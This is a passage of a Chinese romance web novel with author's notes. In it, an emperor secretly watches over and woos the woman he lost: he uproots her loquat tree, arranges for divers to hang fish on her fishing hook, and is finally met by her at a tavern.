裴璟面无表情听完素霖的话后一言不发,转身往傅归荑种树的园子里走。 傅归宜连忙跟上。 园内的树枝被吹得乱七八糟,有好些都被连根拔起,满眼的荒芜与颓败。 “完蛋!”傅归宜两眼一黑,这些都是傅归荑一年以来的心血,要是等她好起来了,指不定要多难过。 但是心里却隐隐有点窃喜,终于可以不用再吃那些水果了,本来还能跟父亲母亲一起分,如今他们出门云游,所有的果实全部都只能留给他消耗。 傅归荑从来没有吃过自己种的东西,原因是他们害怕她知道自己种出来的东西不好吃后磨灭了兴趣,所以每次她去摘果子的时候都会有人来告诉父子两,他们至少有一个人陪同,以免她兴致上来自己吃一口。 傅归宜早就暗中购买了一批易养活,品种有好的果苗。 罢了,到时候他陪妹妹一起重新再种新的果树,这次他说什么也不能让她自己一个人瞎弄。 裴璟的目光一直盯着那棵孤独又突兀的枇杷树。 “怎么了?”傅归宜察觉裴璟的脸色很难看,双眸中似乎有种巨大的哀伤。 “她在种枇杷树。”裴璟的声线不稳,透着惊惧:“你竟然不知道她在种这个……” 傅归宜一头雾水,然而他敏锐地察觉到裴璟的不对劲,语气焦急道:“枇杷树怎么了?” 这枇杷树长得挺好的啊,去年结的果可多了,他差点要吃吐。 裴璟走到枇杷树前,手掌覆在树干上,轻轻抚摸着。 “有一天,她在读书,翻到了一篇文章。” 庭有枇杷树,吾妻死之年所手植也,今已亭亭如盖矣。 枇杷树在苍云九州不常见,她问裴璟为什么这个人要在他妻子死后种枇杷树,不是桃树,不是芭蕉? 傅归荑的问题很奇怪,一般人都会为故事里对妻子念念不忘的深情而感动,所以裴璟记得特别清楚。 他没有敷衍,而是认真想了想。 最后他告诉傅归荑自己的猜测。 “批把树长得很快,一年便能结果。它的生命又很长,能百年不枯萎。他的妻子也许知道自己命不久矣,所以栽了棵好养活的枇杷树,或许是希望丈夫每年都有个盼头,吃着枇杷不要忘记她。亦或者,是期盼丈夫通过枇杷的美味,不要对生活失去希望。” 傅归荑听后没什么表情,好像并没有为这段刻骨铭心的感情动容。 傅归宜听得心惊肉跳的,再结合自己之前的猜测,整个人顿时像坠入水底,胸口处翻绞惊痛与悲恸,口鼻酸涩。 眼角莫名其妙地泛着热意,浑身觳觫。 这件事他怎么一点也不知道,一定是假的。 裴璟肯定是在吓他,然后会说要治好傅归荑只能带回南陵京都,迫使他交出人。 一定是这样的,一切都是裴璟的阴谋。 裴璟的五指合拢,死死攥住枇杷树干,用力一扯。 第一下没扯动,他换成双手握住,再拔。 傅归宜抓出他的手臂,大声质问:“你在干嘛!” 这可是院子里唯一一棵□□的植物。 “你不帮忙,就别碍事。”裴璟环顾四周,似乎在找什么。 傅归宜叹了口气,从一旁的小屋里拿了锄头和铁锹,两人把傅归荑辛辛苦苦种的树连根拔起。 裴璟拍了拍手上的泥,沉声道:“你去告诉她,风雨太大,枇杷树被吹倒了。” “就这?”傅归宜一脸疑惑。 裴璟淡淡点头,“别告诉她,我来过。” 说完便毫不犹豫离开镇南王府,连傅归荑的小院都没路过。 傅归宜按裴璟的话照做。 傅归荑奇迹般地在三天内好了起来,看得他啧啧称奇。 裴璟的话莫不是什么灵丹妙药。 傅归荑能下地走动后,来到自己的院子前,看见被毁得一塌糊涂的院子叹了口气。 不,是叹了很多口气。 傅归宜安慰她,说和她一起再重新种。 “我们能不能不种枇杷树了。”傅归宜小心翼翼地盯着傅归荑,看见她的脸色明显僵了一下,他立刻找补:“苍云九州不适合种枇杷,还是换种水果罢。我喜欢吃草莓,多种些草莓好不好?还有父亲,他爱吃香蕉,母亲爱吃梨。” 草莓每年都需要人维护,香蕉树结果后需要每年砍掉的茎块,一年种一次,还有梨树五年才开花结果。 裴璟的话像一把利剑般,悬在傅归宜头顶。 傅归荑闻言,手中动作僵硬起来,长睫垂落,不住地抖动,似乎在挣扎。 “好。”最终傅归荑答应了。 傅归宜强忍哽咽,笑道:“那我去为你寻好的苗子。” * 裴璟在镇南王府附近买了一间宅子,靠近傅归荑的小院。 傅归宜手里拿了个藤条上门,气势汹汹地来找裴璟。 季明雪见状,哪里肯放他进去。 下人回了门口的动静,裴璟把他放了进来。 “我说过让你别来苍云九州,也不许再踏入我们家一步,否则见你一次我打你一次!” 季明雪紧张地看着傅归宜,随时准备把他扣下压出去。 裴璟挥了挥手,示意他离开。 屋内只剩下他与傅归宜,裴璟面不改色道:“如果我让你再打一次,你能让我随时进门么?” “你做梦。” “你放肆。” 裴璟冷冷看向他:“莫不是真以为我不敢动你。” 傅归宜丝毫不惧:“不敢,但是我不能让你再动她。” 裴璟眼皮一压,收回犀利的目光。 “你打吧。” 傅归宜没料到事情会这样发展,他有些猝不及防。 “你打了我十二下,”裴璟的头冒着细密的冷汗,面色略有苍白,却气势十足:“意味着我至少有十二次机会踏入镇南王府。” 傅归宜刚要张嘴骂他无赖,他绝不同意。 “你放心,我不会再强迫她做任何事。”他的声音弱了下来:“我只是想,亲眼看她好起来,仅此而已。” 傅归宜冷哼道:“不打扰?那你是怎么知道她生病的,镇南王府到底哪个是你的耳目?” 傅归宜的声音到最后有些气急败坏,他作为暗卫出生,竟然找不出到底谁是内奸,这让他有些焦虑。 “别猜了,”裴璟替他解惑:“你府里我确实没安插探子,我承诺过她的,一定会做到。” 不然他也不会今天才知道傅归荑在院子里种了一棵枇杷树。 不是在府内,那便是在府外。 傅归宜暗忖,镇南王府四处肯定布满裴璟的眼线,那日他请大夫入府一事被他知道了。 裴璟淡淡道:“我保证,绝对不会让她发现我的存在,行么?” 傅归宜没同意也没拒绝,转身要走。 “傅归宜,”裴璟第一次叫他的名字:“她在东宫时整天不是射箭就是读书,也没什么其他爱好。我最初有意让她与外界隔离,她感受到后居然没有一点反抗,似乎根本不需要。她有意在减少跟这个世界的联系,你想办法让她多点牵绊,别真的超然外物,无欲无求。” 傅归荑的情感太淡薄,淡薄到裴璟曾经需要用一些极端的手段才能让她变脸,哪怕是愤怒也好,怨恨也罢,总比她一副淡漠无所谓的样子要强。 有时候明明抱着她,两个人的距离那样近,他却总觉得抓不住她。 傅归荑像一缕风,好像只要他略微恍神,她就会消逝不见。 傅归宜恶狠狠丢下一句知道了,大步离开。 当晚,裴璟穿了一身夜行衣悄悄潜到傅归荑的院子里。 暖黄的烛光将她的剪影投在窗帘上,像是在读书,旁边还有一个人陪她坐着,想必是素霖。 裴璟站在院内一角的阴影处,目光炙热地看着靠左的人影,喉间几乎瞬间涌上热意。 他浑身都紧绷着,强忍着不上前去推开那道门。 一年来,他无时无刻不在想着她,她在干什么,今天吃了什么,睡觉是否安枕,有没有欺负她,她过得好不好……好多次他都想她想得发狂,恨不得点齐人马要强行带她回来,转念又按耐住自己发疯般的冲动。 她不喜欢的。 她会迫于威胁跟他回来,这样他们与从前又有什么不同,甚至在傅归荑心里还会给他打上不守承诺的印记。 裴璟想要傅归荑的爱,哪怕只是一点点。 她对他的爱少一点没关系,他有很多,多到可以淹没傅归荑至下颌。 “大小姐,该睡了。”素霖看了眼漏刻。 “好。”傅归荑扔下书卷,其实她一整个晚上都没有看进去。 枇杷树一事让她起了疑心,哥哥好像知道了什么,不然不会故意说出那些话。 傅归荑望向窗外,今夜无月,一片漆黑。 她有个不切实际的猜想,可转瞬又觉得有些荒谬。 目光回转,落在屋内墙上挂着的银色逐月弓处,微微失神。 好像有一年多,她都没听见裴璟的名字,哥哥也故意筛掉关于南陵京城,关于新帝的一切风声。 素霖这几日来照顾她,绝口不提从前的事一字,更没有为裴璟说过一句好话,仿佛她从未在东宫呆过。 屋内灭了灯,裴璟站了一夜。 这是一年来,他离傅归荑最近的距离,近到他真切地听见她的声音,不是在做梦,更不是幻听。 裴璟有时候做梦梦见她,次日耳边会一直回放那晚上她梦里说的话,他时常会分不清真假忽地出声回应她,每次都吓到身边人。 他们一脸惊悚不敢戳破的惶恐样让裴璟看得心烦,便再也不出声应“她”。 如今,他总算听到了真的声音,却不敢应她,也不能应她。 这个院子里的时间似乎过得格外快,裴璟还没缓过神,天边已泛起白光。 他颤了颤长睫上凝聚的水雾,趁着里面的人没起,如同来时那般悄然离开。 裴璟在镇南王府隔壁住到了五月初九。 一个月多月的时间里他用完剩下的十一次机会。 他躲在暗处,默默窥探着傅归荑。 看她兴致勃勃地重新种树,看她因为风筝断了线而感叹,看她用逐月弓在射箭…… 然而大部分时候,他都是趁夜站在她的房门口,直到晨光熹微才离开。 裴璟腿脚酸麻,身体疲惫,可他的精神却从未有过的亢奋。 偶然某日晚上,他从她嘴里听见自己的名字。 其实也不能算名字,傅归荑叫的是陛下。 她总是那么小心谨慎,在自己家里也一样。 然而在裴璟心里,傅归荑的这声陛下跟别人的就是不一样,叫得他浑身酥麻,只觉得身上挨得打,一路的奔波,所有求而不得的心酸在这一刻全都烟消云散。 五月初八,是傅氏兄妹的生辰。 今年不能敷衍了事,是傅归宜二十岁的加冠礼。 那天来了很多人,镇南王府收了一堆又一堆的礼物,毕竟是新上任的镇南王,大伙都不敢轻慢。 傅归荑没有在人前出现,但是大伙都知道镇南王府对这位嫡小姐的爱重,便也给她捎了一份礼物。 裴璟给她准备的礼物悄悄混在里面。 那天晚上,他在自己的院子里烤了一条鱼,还洒上翠绿的葱段放在桌上。 裴璟悉心地将鱼刺剔除,再夹进旁边的空碗里,他给自己和旁边的空碗满上一杯清酒,笑着祝福。 “傅归荑,愿你玉颜如练,无岁不逢春。” 鱼肉渐渐变冷,散发出淡淡的腥味。 傅归荑众多的礼盒中随意挑了个打开,里面放着把精巧的袖箭,落款是季明雪的名字。 翌日天刚蒙蒙亮,裴璟带人静悄悄离开。 十日后,从苍云九州运来一堆几乎枯死的果树,他在宫内专门开辟了一块地,命人好生照料。 唯独那棵半死不活的枇杷树被移到御书房的后窗空地上。 作者有话说: 愿君千万岁,无岁不逢春。——李远《翦彩》 “庭有枇杷树,吾妻死之年所手植也,今已亭亭如盖矣。”——《项脊轩志》归有光 裴璟说的那个是我编的,不过他的妻子魏氏确实是因病逝世。 第77章 重逢 晋江文学城独家发布 新的果苗种上没几天, 总会因为各种奇怪的原因死掉或者枯萎,别说结果,连生根都是问题。 夏季雨水丰沛, 一场暴雨还带走大半幼苗。 傅归荑看着哥哥一边忙碌于苍云九州的大小事务,一边陪她周而复始地种树, 他眼底的青黑怎么遮都遮不住。 她提出好几次不用陪同, 自己来就行, 哥哥总是说一起种才更有意义。 傅归荑看着他渴望的眼神,只能同意。 傅归荑最终在初秋的时候, 放弃了种树这个爱好,现在再种冬天恐怕会冻死。 她看见傅归宜别过脸去,腹部微微起伏, 嘴里吐出一口浊气,眉眼却略微上扬。 傅归荑狐疑地掠过地上半死不活的树苗, 察觉到有些枝干不像是被风吹倒的, 倒像是人故意折断的。 回到房内,素霖伺候她沐浴更衣, 正替她绞发。 傅归荑百无聊赖落在逐月弓旁边的几只纸鸢上, 七彩蝴蝶的, 展翅飞鸟的还有面目可怖的腾蛇图样,他们或多或少都有破损的痕迹,这些都是傅归荑弄断了线亦或者不小心放飞的,最后竟然都被找了回来。 不但损害的地方被修补得完完整整, 还换了线。 新换的线又长又结实,配上精巧省力的绕线轮, 傅归荑再没有遗失过它们。 “妹妹, 今夜星子漫天, 明天定是个好天气。不如出去走走,我找了个人陪你。”傅归宜手里拿着个漆木缠枝雕花盒,放在傅归荑梳妆台上,“我给你买了支钗。素霖,明日记得给大小姐找身合适的衣衫。” 他放下东西就走,不给傅归荑拒绝的机会。 这已经是本月不知道第几次,傅归宜致力于将她赶出门到处走走,每次都会给她安排各种青年才俊陪同。 司马昭之心路人皆知。 傅归荑上过几次当,后来总以各种理由推拒。 她实在是没想过嫁人一事,先不说三年内不得随意嫁娶这道诏令,单说哥哥叫来陪她的人实在个个聒噪,吵得傅归荑头疼。 一见面先各种夸她,长得好看,性子好,仿佛她是什么天下间绝无仅有的奇女子。不然就是带她出入各种胭脂铺,绸缎庄,豪气地让她买买买。 有些别出心裁的,带她去听戏听曲,逛灯会庙会,总而言之哪里热闹就往哪里钻。 她不好拂了哥哥的心意,何况这些人也并没有恶意 ,所以她总是耐心地陪同,每次出门回来后她身心俱疲。 还有投她所好的,邀请她一起去骑马射箭。 但是他的技术实在是一言难尽,傅归荑只用了三分力便将那人比了下去,弄得他涨红了脸,最后一脸渴望地想拜她为师。 她随意指点了两句,那人如获至宝,在很长一段时间里都没来找过她。 傅归荑打开木盒,里面放了支并蒂海棠金步摇,华贵非凡,要上大妆才相配。 她轻叹了口气,内心盘算着明日要用什么借口拒绝。 次日,她还没想好,傅归宜一早来催她出门。 傅归荑用各种理由都被他一一挡了回来,傅归宜承诺这是最后一次。 “你怎么穿成这样?”傅归宜看妹妹穿了一身男装,但她没有束胸,能明显看出她是个女人。 “你让我快点,”傅归荑振振有词:“这样最快了。” 傅归宜被怼得说不出话,匆忙把人带出去。 “在下张昭,傅小姐妆安。”张昭长相普通,他也不像其他人,一上来把她夸得天花乱坠,言语和眼神都十分克制。 傅归荑心里的排斥瞬间少了一大半,尤其是在听见他们今天不是去人扎堆的地方时更是松了口气。 张昭带她去若依河钓鱼。 钓鱼是一项安静的活动,张昭给她讲明要点后自顾自地在旁边甩杆,他保持在一个既能够随时看护,又不让她感到不适的距离。 傅归荑今天过得很舒服,唯一不舒服的便是她一条鱼都没钓上来,而张昭钓得盆满钵满。 回府时,张昭与她约定,若是天气好,再来找她钓鱼。 傅归荑破天荒地答应了。 往后一个月,逢本朝休沐日,若不下雨,张昭总会来找傅归荑。 他的言语和动作都彬彬有礼,绝不逾矩,甚至在刻意保持距离。 傅归宜知道后又高兴又生气。 高兴的是妹妹总算换了个新爱好。 生气的是并不是有野男人要拐跑他妹妹,而是这个主意是裴璟给他出的。 傅归宜和裴璟站在对岸的灌木丛里,看着对面一男一女毫无交流地垂钓。 张昭跟个木头似的,傅归荑钓了半天没钓上来也不会去安慰她一下,反而自己一杆接着一杆地往上拉。 “喂,我怎么觉得,张昭好像没有想当镇南王府乘龙快婿的意思?” 傅归宜斜眼看了看旁边气定神闲的人,他看见一个男人和傅归荑单独出来也没什么情绪起伏,更没有从中阻挠,这本身就不正常。 “他不敢。”裴璟大大方方地承认。 “不会这个人是你安排的吧?”傅归宜瞬间相同所有关节,怎么他刚想找一个会钓鱼,家世又好,没有不良嗜好,又没有妾室通房的适龄才俊,这个叫张昭立马冒了出来。 “总比你瞎折腾她好。”裴璟冷冷看了眼傅归宜,他居然想给傅归荑找个人嫁出去用来牵绊她,真当自己是死人吗? “果然是你安排的。”傅归宜气恼道:“你不是说不再打扰她的生活吗?怎么能出尔反尔?” 裴璟对他的愤怒视而不见,“我说的是不打扰她的生活,不是看她嫁给其他人却什么都不做。” 若真的让傅归荑另嫁他人,裴璟觉得自己也太无用了。 “你怎么还没死心……”傅归宜压低声音吼道:“她已经放下过去,你就不能放过她吗?” 裴璟的目光透过芦苇缝隙,落在傅归荑身上,轻声道:“只要我还活着,怎么可能对她死心。” “你放心,只要她不愿意,我不会再逼她做任何一件事。”裴璟道:“我会等,等她愿意重新面对我。” 傅归宜:“若是她一直不肯,你要等到什么时候?别忘记,你是一国之君,不可能没有后嗣。” 孝期三年,三年过后,裴璟不可能还拖着不大婚。 “南陵需要的不是裴璟的子嗣,要的是能将现行制度按部就班执行下去的君主。我会从宗室里挑合适的人,若是没有,从慈幼局里面挑几个培养也不是不行。” 傅归宜没想到裴璟居然会有这样惊世骇俗的想法。 “怎么,你好像很惊讶?”裴璟睨了眼明显被震惊的人,“我会在死前安排好一切,若坐上那个位置的是个昏庸无能的人,自然有方法将他拉下来。南陵如今的制度是我一手建立,至少在百年内我绝不容许有人动摇。” 傅归宜冷哼一声:“我才懒得管谁当皇帝,不影响苍云九州便是。” 话音一转,“如果她到死都不愿意呢?” 裴璟沉声道:“那就等她死了,我再抢人。”不等傅归宜开口骂人,他轻叹一声:“她活着的时间都给你们,死后的时间,总该属于我了罢。” 他自嘲一笑:“反正她到时候也说不出‘不愿意’三个字,我默认她同意了。” 落日打在裴璟侧脸上,他目不转睛地盯着对岸的绿衣女子,一贯冷峻的面容因眸中的深情变得柔和。 傅归宜也不得不承认,裴璟对傅归荑的爱无人能及。 傅归荑今日还是未能钓上一尾鱼,她觉得自己上辈子一定是只狸奴,不然为什么鱼儿见了她都要绕道走。 钓了这么多次都没有收获,饶是一向无欲无求的她也被激发出了好胜心。 不等张昭找她,傅归荑自己带着钓竿天天去若依河垂钓。 在她看不见的地方,裴璟一直默默陪着她,注意她的一举一动。 他知道她怕水,哪怕傅归荑的凫水是他亲自教的,他也依旧不放心。 镇南王府旁边的小院俨然成了他处理政事的第二个地方。 裴璟除了必要亲自出席的场合,大部分时间都留在苍云九州,饶是如此,这一年他也来来回回在路上奔波了近十次。 “今天的鱼也太好上钩了。” “是啊,感觉若依河里的鱼忽然变多了起来。” 傅归荑附近也有不少和她一样钓鱼的人,只见他们刚放下杆,没多久便拉上一条手臂粗细的鱼。 不到一炷香的时间,几乎每个人都鱼篓都装满了。 傅归荑看着自己毫无动静的鱼竿,沮丧极了,气得她差点折断杆子。 她明明都看见浮标附近有涟漪翻涌,怎么就是不咬钩。 裴璟看了也叹气,甚至有些哭笑不得。 他令人在这一段上下游布了网,又从南陵运来十几车鱼,一路上不给它们喂食,放入水中时已经被饿了十余天,看到什么都会吃。 傅归荑的新爱好跟她种树成果不相上下,她所有的天赋大概都在射箭上了。 晚膳时,傅归荑忍不住跟哥哥抱怨这件事,傅归宜听了也沉默。 裴璟弄的那十几车东西,动静不小,不可能瞒过他。只是没想过做都到这个份上,傅归荑居然还是一无所获。 “没关系,总会钓到的。” 他只能干巴巴地安慰满脸郁色的妹妹。 当夜傅归宜去找了裴璟。 “她这爱好是你培养出来的,你要负责。”傅归宜理直气壮。 裴璟头也没抬,朱笔在奏折上落下御批,沉静道:“让她三日后再去。” 三日后是个阴天,傅归荑本不想出门,无奈哥哥说给她算了一卦,今日必定满载而归。 傅归荑将信将疑,和素霖二人拿好装备慢吞吞地走了。 她坐在平日里钓鱼的地方下杆,不抱任何希望地静静看向水面。 今天钓鱼的人好像有些少。 傅归荑环视一周,发现只有零星的几个陌生的脸孔在垂钓,他们分布得很散。 忽然,手里的鱼竿猛地动了一下,紧接着往水里拖,力道之大差点脱杆。 傅归荑顾不上其他,用力抽杆,一条鲜活甩尾的大鲤鱼浮在水面上奋力挣扎。 “素霖快看,我居然真的钓上了。”傅归荑瞳孔先是一震,继而变得惊喜,满脸笑意,明媚如花。 素霖相当给面子的一顿猛夸,帮着傅归荑把小腿大小的鲤鱼装进鱼篓里。 躲在暗处的傅归宜抽了抽嘴角,“你居然让人穿上衣服潜到水底给她挂鱼,难怪你要我把她的鱼钩黏一层夜光粉。” 这方法也太丧心病狂,只有裴璟想得出。 怪不得他信誓旦旦地表示今天傅归荑绝不会空手而归。 裴璟此刻眼里全是傅归荑笑语嫣然的模样,宛如隆冬暖阳,温暖着他求而不得,千疮百孔的心。 “你别对着我妹妹笑得这么……”那两个字傅归宜说不出口,张开五指挡在他双眸前,拦住如有实质的目光,他讥讽道:“你现在这种行为,跟昏君没什么区别。” “这是兵部最新研制的作战服,“裴璟不耐烦地打开他的手,“能减少在水中的阻力,同样的时间可以游出更远的距离。你可以把挂鱼这件事当成水中定向投放训练。” 傅归宜敏锐地察觉出了问题:“怎么回事?” 裴璟道:“东部忽然聚集了一群海寇,时常侵犯海岸线,甚至敢上岸劫掠百姓。他们似乎不是南陵人。斥候出海带回消息,他们是来自周边一些小岛组成的联盟,很擅长水战,尤其是潜水的功夫令人望其项背。” 南陵的步兵和骑兵已经被裴璟训练成虎狼之师,唯独水师一直很弱,主要是南北对峙几乎不涉及水战,因此裴璟前期在水师并没有投入太大的精力。 “我倒要瞧瞧,你研制的这套衣服行不行。”傅归宜嘴上不饶人,却迅速换了一套同样潜水服,从对岸芦苇从出发往傅归荑的鱼钩处深潜。 傅归荑没过多久又上了一条大鱼,她努力克制住上扬的嘴角。 也不知道哥哥找谁卜的卦,太准了。 傅归宜游回来时给裴璟提了几条建议,还指出怎么使用潜水服在水面下的动静更小,方便无声地接近敌人。 裴璟听后若有所思,自己也穿了一套,按照傅归宜的方法接近鱼钩,挂了好几条大鱼。 当天晚上,镇南王府的晚膳是全鱼宴。 傅归宜夹了一块子鱼肉放在嘴里,眉开眼笑的。 这可比水果好吃太多了,钓鱼这个爱好真不错。 往后傅归荑出门钓鱼都要去找哥哥算上一卦,傅归宜会让她回去等,熄灯前会去告诉她占卜结果。 傅归荑发现他的哥哥简直神了,每次都能准确预测。 有次他说半个月内不宜钓鱼,傅归荑偏不信邪,结果那半个月真的一条鱼都没钓上。 真实的原因是裴璟带人离开了苍云九州,赶往沿海去抵御海寇,半个月后才回来。 “你终于回来了。”傅归宜幽怨地看着裴璟,自从他用这个方法让傅归荑尝到甜头后,她几乎每天都要来问他一次。 裴璟知道他什么意思,甩了两套衣服出来:“他们都去前线作战了,这两套潜水服留给你,到时候你自己去挂。” 傅归宜问情况怎么样。 裴璟脸上没什么表情,但傅归宜还是从他的语气中听出了凝重。 潜水服确实能够从水面下接近敌寇,有机会凿沉敌船,可他们会往水面下射箭,大部分人有去无回。 “我这次就是来给你送东西的,走后估计要长一段时间才能回来。”裴璟淡淡道:“顺便再看她一眼。” 傅归宜一口饮下桌上凉茶,啧啧出声:“怎么感觉你跟交代遗言一样。” 裴璟冷哼道:“我若真死了,也有人替我守住傅归荑,我做鬼都不会放过她。” 两人不欢而散,第二天又聚在河边给傅归荑挂鱼。 晚上,傅归宜吃完和裴璟一起挂上的鱼,欲言又止地看着傅归荑。 “哥哥怎么了?”傅归荑察觉到他有话想说。 傅归宜踌躇半天,小心翼翼问:“你觉得裴璟是个什么样的人?” 裴璟两个字他说得格外轻,像是怕勾起旁边人的伤心事。 傅归荑听后半点不带犹豫:“他是一个有自己的想法,不会轻易被人左右,不受世俗约束之人。” 傅归宜听到她的评价,立马想到裴璟说找个孤儿继承皇位的言论,忽而低笑了一下。 “怎么了?”傅归荑问:“你好像不认同。” “不,我只是觉得你很了解他。”傅归宜斟酌措辞:“他确实非迂腐之人。” 傅归荑赞同地点头。 傅归宜见她在提到裴璟时心如止水,宛如谈论一个大家都熟悉的人,客观又公正。 她是真的放下了。 不困于过去,非庸人自扰。 如此,甚好。 裴璟满打满算只有五天时间。 第二天傅归宜以有事要忙,将挂鱼这件事悉数交付给裴璟,并威胁他不许主动在傅归荑面前现身。 裴璟任劳任怨地让傅归荑玩了个够。 他的脚程比傅归荑快,等她从河边往镇南王府走的时候,裴璟已经换了衣服坐在街边临窗的酒楼里用膳了。 傅归荑会从这条街经过,这是裴璟除了潜入镇南王府,离她最近的距离。 即将的别离让裴璟心中散发出强烈的不舍,这一走他也不知道何时能回,或许真的会像傅归宜说的那样,命丧海中。 刀剑无眼,战争的残酷无情裴璟早有领教,他从未觉得自己是刀枪不入之身。 能多看她一眼也是好的。 裴璟视线刺在傅归荑身上,他潜意识里希望傅归荑也能看过来,却又害怕从她的眸中看到厌恶与排斥。 或许是上天听到他的呼唤,傅归荑忽然抬头看过来。 四目相对,时间和空间仿佛在此刻静止。 裴璟的心脏狂跳不止,怎么压都压不住。 他应该马上躲起来,然后装作什么也没发生,或者是冷淡地冲她颔首示意,表示自己只是偶然路过,绝不会打扰她。 但他舍不得,他的眼睛都舍不得移开半寸。 傅归荑好像也没有躲避的意思,她甚至对他眨了眨眼睛。 裴璟喉结滚动得厉害,掌心发汗,身体忽而像飘在云端,忽而又坠入棉絮中,他想爬起来,却又不自觉沉溺更深。 最后理智战胜了他的欲//望,裴璟打落支撑窗户的架子,窗户啪地一下关了起来,险些砸到他的鼻尖。 过了好一会儿,他才平复急促的呼吸,悄悄打开一条缝。 傅归荑的身影早已消失在长街上,裴璟心里说不出是失望多一些,还是劫后余生多一点。 第三日他去给傅归荑挂鱼的时候格外激情,只恨她是单钩,若是双钩裴璟指保证她每次扯杆都能钓上两条。 昨晚上裴璟激动得一夜没睡,今天又来来回回潜水数次,差点脱力露馅。 好在傅归荑不是个贪心的人,钓到她觉得合适的时候,她早早收杆走了。 裴璟依旧在酒楼边等她路过。 这次他没等到傅归荑再一次与他隔空相望。 因为她,直接上来了。 裴璟有一瞬间想立刻离开或者找个地方躲起来,但他的双脚却犹如被铁钉死死钉在原地。 他想见傅归荑,不是远远地躲在角落里像个小偷般觑上一眼,而是希望两个人能面对面说上一句话。 她骂他,斥责他,讥讽他都可以。 蹬蹬蹬。 楼梯上来往的人很多,不同的人踩在木头上,发出轻重不同的脚步声。 裴璟的耳朵里却只能听得见那一道不轻不重,间隔均匀的踩踏声。 “好久不见,”傅归荑站在桌旁,声音顿了顿:“陛下。” 裴璟茫然无措地站起身,他尽可能克制住自己颤抖的声音,低声道:“出门在外,不必多礼,我本就是微服私访。” 他连忙阻拦傅归荑给他行礼,手却规矩地没有碰她的身体。 “坐。”裴璟忐忑不安地出言邀请。 傅归荑大方地坐在他对面。 裴璟没想到她会真坐下来,内心一阵翻天覆地。 他压下眼皮,迫使自己看向别处,害怕他的眼神会吓走她。 一向能言善辩,掌控局势的他忽然不知该如何开口,更怕说错话惹她不快。 气氛一时有些凝滞,裴璟想打破这种沉抑的氛围又不知从何下手。 反倒是傅归荑先开口:“我有一事想请您解惑。” 裴璟心口一窒,脑海里迅速回忆自己做了什么事情引得傅归荑怀疑。 首当其冲的便是钓鱼一事。 还是他偷偷溜进她的小院被发现了。 “什么事。”裴璟紧张得手都快握不住茶杯,背后冒了一层细汗。 傅归荑小声地向他抱怨了一句。 待听清楚她的问题后,裴璟内心把傅归宜这个蠢笨的王八羔子骂了一万遍。 作者有话说: 裴璟:给老婆安排陪玩可还行。 傅归宜:这是我万万没想到的。 个人理解,在遇到挫折与伤害时,无论其他人如何安慰与陪伴,最终一定是自己走出来才是真的好了。 女儿的强大不是她有显赫的身世,精湛的箭术,而是她有走出过去的勇气。 心若软弱,纵铁甲难护。 男主虽然一直被骂狗,但是不可否则在面对爱人死亡时,他会伤心难过却不会逃避,更不会骗自己,也不会就此懈怠他应该担负的责任。 强调一下,个人理解啊,不用按照我的来。 小可爱们可以有自己的想法,这不是阅读理解题目,没有标准答案。 第78章 登门 裴璟不但得寸进尺,还成功登堂入室。 “所以, 是不是你告诉哥哥别让我种活树,他才会故意弄死它们的。” 傅归荑提到这件事很生气,她日夜操劳种的果树被毁, 之前还以为是天灾,没想到是人祸。 裴璟咬牙认下这个罪。 暗骂傅归宜真是矫枉过正, 他怎么能把院子里所有树都弄死了, 谁看了不会怀疑? 何况傅归荑心思细腻, 他再怎么做得天衣无缝也无法完全逃过她的眼睛。 傅归荑解了惑,起身准备离开。 “等等!”裴璟一着急, 抓住傅归荑的手腕,又马上松开:“你别生气,我给你再种一模一样的好不好?” 傅归荑没回头, “不需要。” 裴璟听见她熟悉地拒绝,心里一凉, 讷讷道:“我给你道歉, 我不该擅自跟他说这件事,害你的心血白费了。” 看见傅归荑离去的背影, 他的胸口空荡荡的, 下意识想抓住她, 期盼她能多停留一刻。 傅归荑闻言转过头,居高临下看向裴璟,他双眸里泛着明显的歉意。 裴璟以为她会甩手离开,没想到她又坐了回来。 心情一下大起大落, 他喝了口茶压压惊。 “你为什么要拔了我的树!”傅归荑咬牙切齿地看向对面,“你知不知道那是我忙了一年, 辛辛苦苦才种活的。” 很多树苗不适合种在苍云九州, 傅归荑为此专门给不同的树弄来不同的土。每天起早贪黑, 小心翼翼照料,谁曾想自己只是病了几天,醒来后心血全数毁于一旦。 她当时真是两眼一黑,差点没气吐血。 裴璟小声道:“我是怕你……” “你说什么?”傅归荑听不清裴璟后面的话,本能地前倾身体,“我心无所念?” 傅归荑眉头一皱,眼神迷茫了片刻,反应过来后一脸惊讶道:“你怕我不想活了?” 裴璟怎么会有这种荒谬的想法。 裴璟仔细观察傅归荑的脸色,发现她不像演出来的,狐疑道:“难道我猜错了么,你之前在南陵问过我为什么那篇文章里的妻子要种枇杷树?” 傅归荑先是一愣,半天才意识到裴璟说的是哪篇文章。 没想到这么久远的小事裴璟也记忆犹新,她心里莫名有些感慨,破天荒地耐着性子和他解释。 “你完全误会了。 ”傅归荑认真道:“我真是不小心受寒,身体又弱,所以病了很多天。” 裴璟未免太小题大做,怎么会从她生病从而判断得出她不想活了。 “真的?”裴璟不服气地反驳:“那也不至于一点风寒躺了这么久,还反复高热。而且,为什么树一拔,你就好起来了。” 傅归荑听得额头青筋突突地跳,强压下胸口激荡的怒意,装作心平气和道:“种树这件事我从不假手于人,园子里有六十八棵,我每天光浇水除草和修剪枝叶都要花上三个时辰,更不要提它们每棵树种植条件都不一样。我累了一年,还不能歇口气吗?” 话到后面,她的尾音止不住扬起来。 任谁听了自己兢兢业业的成果一朝毁之,哪怕真的药石难医也会被气得爬起来。 “我本来想着还能救一救,谁知道越救死得越快。”傅归荑幽怨地注视罪魁祸首:“哥哥听了你的蛊惑,愣是让那片园子成了不毛之地。” 别说果树,连棵草都长不出来。 起先傅归荑还以为哥哥弄死她的树是有什么难言之隐,亦或者触景伤情,毕竟她不知道他在北蛮到底经历了什么。那是他痛苦的回忆,如果他不主动说出来,傅归荑不会主动提起。 哥哥前半生过得太辛苦,不过是几棵果树,不种就不种。 直到昨日他主动提起裴璟,傅归荑又在苍云九州看见了他。 裴璟入城一事绝对瞒不住哥哥,如果他没有被赶走,哥哥也没有阻止自己出府,那么只有一种可能。 他们两个已经见过面,并且达成了某种协议。 两者相结合,傅归荑对她死活种不成的果树忽然有了一个猜测,今天特意前来验证。 “你想太多,我种枇杷树,真的只是因为想吃枇杷,而它长得快,一年就能结果,还能活好多年,可以一劳永逸。” 傅归荑瞪着他,补了一句:“这不是你说的么?” 裴璟一时无言,对自己的错误判断忍不住失笑:“原来是这样,你吓到我了。” 傅归荑不自在别过脸,嘟囔道:“是你自己心思太深,想太多。” 